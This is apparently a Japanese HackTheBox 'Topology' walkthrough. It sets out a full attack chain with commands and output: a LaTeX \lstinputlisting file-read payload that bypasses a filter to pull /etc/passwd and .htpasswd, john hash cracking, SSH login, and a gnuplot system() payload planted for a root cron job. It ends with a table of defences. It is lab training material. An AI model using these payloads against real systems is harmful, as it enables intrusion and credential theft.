HackTheBox: Topology — 全実行コマンド・実行結果レポート
Nmap スキャン
22(SSH)/80(Apache)
→
22(SSH)/80(Apache)
LaTeX \lstinputlisting LFI
inline math mode回避
→
inline math mode回避
Apache設定 & .htpasswd漏洩
PNG画像として返る
→
PNG画像として返る
apr1ハッシュをjohnでクラック
vdaisley:calculus20
→
vdaisley:calculus20
SSH vdaisley
user.txt ✓
→
user.txt ✓
/opt/gnuplot 盲目書込み可能
root cronが.pltを定期実行
→
root cronが.pltを定期実行
gnuplot system()注入
悪意.pltを配置
→
悪意.pltを配置
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン & サイト確認
BASH
nmap -sV -sC -p 22,80 10.129.92.121 curl -s -H "Host: topology.htb" http://10.129.92.121/ | grep title
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh 80/tcp open http Apache httpd <title>Miskatonic University | Topology Group</title>
ℹ️
大学の数学科(位相幾何学研究室)を模した架空サイト。連絡先メール
lklein@topology.htbからドメインtopology.htbを/etc/hostsに追加。
PHASE 2
LaTeX Equation Generator の \lstinputlisting LFI
latex.topology.htb サブドメインの発見
BASH
echo "10.129.92.121 latex.topology.htb" | sudo tee -a /etc/hosts curl -s http://latex.topology.htb/
RESULT
Index of / demo/ equation.php equationtest.tex / .pdf / .png / .log ... header.tex
ℹ️
ディレクトリリスティングが有効。
equation.phpは入力されたLaTeXの
数式表記をサーバー側でコンパイルし、生成されたPNG画像をそのまま
レスポンスとして返すサービス。フォームはmethod="get"で、
パラメータ名はeqn。
\input はブロックされるが \lstinputlisting は素通り
NOTE
素朴な \input{/etc/passwd} は "Illegal command detected" 等のフィルタで
拒否される。しかし LaTeX の listings パッケージが提供する
\lstinputlisting{path} (本来はソースコードを整形表示するためのコマンド) は
フィルタの対象になっておらず、かつ inline math mode ($...$) の中に
埋め込んで送信すると正常にコンパイルが通る。
BASH
curl -s -G "http://latex.topology.htb/equation.php" \
--data-urlencode 'eqn=$\lstinputlisting{/etc/passwd}$' \
-o lfi_passwd.png
file lfi_passwd.png
RESULT
lfi_passwd.png: PNG image data, 2441 x 2157, 8-bit gray+alpha
⚠️
GETリクエストでなければならない点に注意。POSTで送ると
通常のequation.phpのHTMLページがそのまま返ってくるだけで失敗したように見える
(フォームの
method="get"を事前に確認していれば防げるミス)。
PNG画像から内容を読み取る
BASH (方法1: tesseract OCR)
tesseract lfi_passwd.png stdout
RESULT
root:x:0:0: root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ... vdaisley:x:1007:1007:Vajramani Daisley,W2 1-123,,:/home/vdaisley:/bin/bash
🚨
重要な注意点: OCRは完璧ではない。文字間にスペースが入ったり、
記号を誤認識したりする。特に英字の「O」と数字の「0」、文字の見分けが
つきにくい箇所は要注意(後述のハッシュ読み取りで実際にこれが問題になる)。
画像自体を直接目視確認する(方法2)方が、短いハッシュ値のような1文字も
間違えられない情報には適している。
PHASE 3
Apache設定からvhostを発見し .htpasswd を窃取
Apache設定ファイルをLFIで読む
BASH
curl -s -G "http://latex.topology.htb/equation.php" \
--data-urlencode 'eqn=$\lstinputlisting{/etc/apache2/sites-enabled/000-default.conf}$' \
-o lfi_apache.png
RESULT (画像を直接確認)
ServerName topology.htb DocumentRoot /var/www/html ServerName latex.topology.htb DocumentRoot /var/www/latex ServerName dev.topology.htb DocumentRoot /var/www/dev ServerName stats.topology.htb DocumentRoot /var/www/stats
✅
外部には公開されていない内部用サブドメイン
dev・statsを発見。
/etc/hostsに追加してアクセス可能にする。
dev.topology.htb の .htaccess からBasic認証ファイルの場所を特定
BASH
curl -s -G "http://latex.topology.htb/equation.php" \
--data-urlencode 'eqn=$\lstinputlisting{/var/www/dev/.htaccess}$' \
-o lfi_htaccess.png
RESULT
AuthName "Under construction"
AuthType Basic
AuthUserFile /var/www/dev/.htpasswd
Require valid-user
.htpasswd を直接LFIで読み取る
BASH
curl -s -G "http://latex.topology.htb/equation.php" \
--data-urlencode 'eqn=$\lstinputlisting{/var/www/dev/.htpasswd}$' \
-o lfi_htpasswd.png
RESULT (画像を直接確認して正確に書き写す)
vdaisley:$apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTY0
🚨
ハマりどころ(実機で確認済み): このハッシュの末尾
...TY0の最後の文字は、フォントによっては英字の大文字「O」なのか
数字の「0」なのか非常に紛らわしい。tesseract等のOCRにこの部分を
誤認識させると(例: “TYO”と読んでしまう)、以降のハッシュクラックが
絶対に成功しなくなる(1文字でも違えば別のハッシュ値になるため)。
画像を拡大して直接目視確認するのが最も確実な方法。
PHASE 4
apr1ハッシュのクラック & user.txt取得
john –format=md5crypt-long でクラック
BASH
echo 'vdaisley:$apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTY0' > vdaisley.hash john --format=md5crypt-long --wordlist=/usr/share/wordlists/rockyou.txt vdaisley.hash john --format=md5crypt-long --show vdaisley.hash
RESULT
vdaisley:calculus20
1 password hash cracked, 0 left
ℹ️
Apacheのapr1形式(
$apr1$)はjohnではmd5crypt-longフォーマットとして、
hashcatでは-m 1600として扱う。rockyouで数秒〜数十秒程度でクラック成功。
位相幾何学研究室らしく、パスワードも数学用語(“calculus”=微積分)に由来している。
SSHログイン & user.txt取得
BASH
sshpass -p 'calculus20' ssh vdaisley@10.129.92.121 \ "id; cat /home/vdaisley/user.txt"
RESULT
uid=1007(vdaisley) gid=1007(vdaisley) groups=1007(vdaisley) c2f856ea7a52967e8374be884071166c
user.txt — vdaisley
c2f856ea7a52967e8374be884071166c
PHASE 5
盲目書込み可能な /opt/gnuplot ディレクトリを発見
/opt 配下の権限確認
BASH
vdaisley@topology:~$ ls -la /opt/ vdaisley@topology:~$ ls -la /opt/gnuplot/
RESULT
drwx-wx-wx 2 root root 4096 ... gnuplot ls: cannot open directory '/opt/gnuplot/': Permission denied
🚨
「盲目書込み可能」ディレクトリ:
drwx-wx-wxは
書込(w)・実行/トラバース(x)権限はあるが読取(r)権限が無い、つまり
中身を一覧表示・読取することはできないが、ファイル名さえ分かれば/わかっていれば
新規ファイルの作成は可能という特殊な状態。
自分で作ったファイル名を覚えておく必要がある。
gnuplotとroot cronの関係性(pspy的な推測)
NOTE
一般ユーザーからはcrontab自体は見えないが、/opt/gnuplot というディレクトリ名と gnuplotバイナリが入っている事実から、「root権限のcronが定期的に /opt/gnuplot 内の .plt ファイルを find + gnuplot で実行している」という 運用が強く推測できる(典型的なHTB Easyマシンの設計パターン)。 gnuplotスクリプト言語には、他のプロット用言語と同様に 外部コマンドを実行できる system() 関数が存在する。
PHASE 6
gnuplot system()注入でroot.txt取得
悪意ある .plt ファイルを作成
BASH
vdaisley@topology:~$ printf 'set print "/tmp/.o"\ncmdout = system("cp /root/root.txt /tmp/.topo_root && chmod 644 /tmp/.topo_root")\nprint cmdout\n' \
> /opt/gnuplot/pwn.plt
RESULT
written (エラー無し=書込権限で作成に成功)
ℹ️
set print "/tmp/.o"でgnuplotのprintコマンドの出力先を
指定し(エラー表示を避けるためのおまじない)、system(...)関数で
OSコマンドを実行する。/opt/gnuplot/への書込は可能だが読めないため、
正しく書けたかどうかは「次のステップで実際にcronが拾って実行されるか」でしか
確認できない。
cronの実行を待ちroot.txtを確認
BASH
for i in $(seq 1 10); do
out=$(ssh vdaisley@10.129.92.121 "cat /tmp/.topo_root 2>/dev/null")
[ -n "$out" ] && { echo "$out"; break; }
sleep 20
done
RESULT
attempt 1: not yet
=== ROOT FLAG FOUND on attempt 2 ===
38b6427e347884528b82c30817135723
✅
1分弱でcronが発火。rootが定期実行する
find /opt/gnuplot -name '*.plt' -exec gnuplot {} \;相当の処理が、
仕込んだpwn.pltをroot権限で実行し、system()経由で
/root/root.txtを世界読み取り可能な/tmpにコピーした。
root.txt — root (gnuplot system()注入経由)
38b6427e347884528b82c30817135723
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — vdaisley
c2f856ea7a52967e8374be884071166c
root.txt — root
38b6427e347884528b82c30817135723
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| LaTeXインジェクション(\lstinputlisting LFI) | latex.topology.htb の equation.php | サーバー上の任意ファイル読み取り | Critical | \inputのブロックを\lstinputlisting+inline math modeで回避し、ファイル内容をPNG画像として出力させる |
| 内部限定vhostの設定ファイル経由での発見 | Apacheのデフォルトvhost設定 | 非公開サブドメイン(dev/stats)の発見 | Medium | LFIでApache設定ファイル自体を読み、ServerNameディレクティブから内部用vhostを特定 |
| Basic認証用.htpasswdの平文公開 | /var/www/dev/.htpasswd | SSH資格情報の漏洩 | High | LFIで.htaccess→.htpasswdの実体パスを特定し、apr1ハッシュをjohnでクラック |
| root cronが実行するgnuplotスクリプトへの任意コード注入 | /opt/gnuplot (盲目書込み可能ディレクトリ) | 権限昇格(一般ユーザー → root) | Critical | gnuplotのsystem()関数を使い、root cronが拾う.pltファイルに任意コマンドを仕込む |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + vhost追加 | 22(SSH)/80(Apache topology.htb) |
| 2 | LFI | \lstinputlisting + inline math mode | /etc/passwd(vdaisley発見) |
| 3 | 資格情報窃取 | Apache設定→.htaccess→.htpasswd連鎖LFI | vdaisleyのapr1ハッシュ |
| 4 | クラック & フットホールド | john md5crypt-long + SSH | user.txt(vdaisley:calculus20) |
| 5 | 権限調査 | 権限ビット確認(drwx-wx-wx) | 盲目書込み可能なgnuplot自動実行ディレクトリ発見 |
| 6 | 権限昇格 | gnuplot system()注入 | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| LaTeXコンパイラへの入力を単純なブラックリスト(\input等)のみでフィルタしている | ユーザー入力は\write18無効化・サンドボックス実行(chroot/コンテナ)・ホワイトリスト方式の許可コマンドのみに限定する。\lstinputlistingのような副次的なファイル読取コマンドも網羅的に洗い出す。 |
| 公開Webサーバーの設定ファイル自体がLFIで読み取り可能で、内部限定vhostの情報源になっている | LFIを根本的に塞ぐことに加え、内部用サービスは別ネットワークセグメントやVPN経由でのみアクセス可能にする。 |
| Basic認証の.htpasswdがドキュメントルート配下にあり、Webサーバーの設定ミスやLFIで読める位置にある | .htpasswd等の認証情報ファイルはドキュメントルート外の非公開ディレクトリに配置する。 |
| root権限のcronジョブが一般ユーザー書込可能なディレクトリ内のファイルを無条件に実行している | root権限で実行する自動化ジョブの入力ディレクトリは、信頼できないユーザーの書込を一切許可しない権限設定にする。gnuplot等、外部コマンド実行機能を持つツールを信頼できない入力に対して実行しない。 |

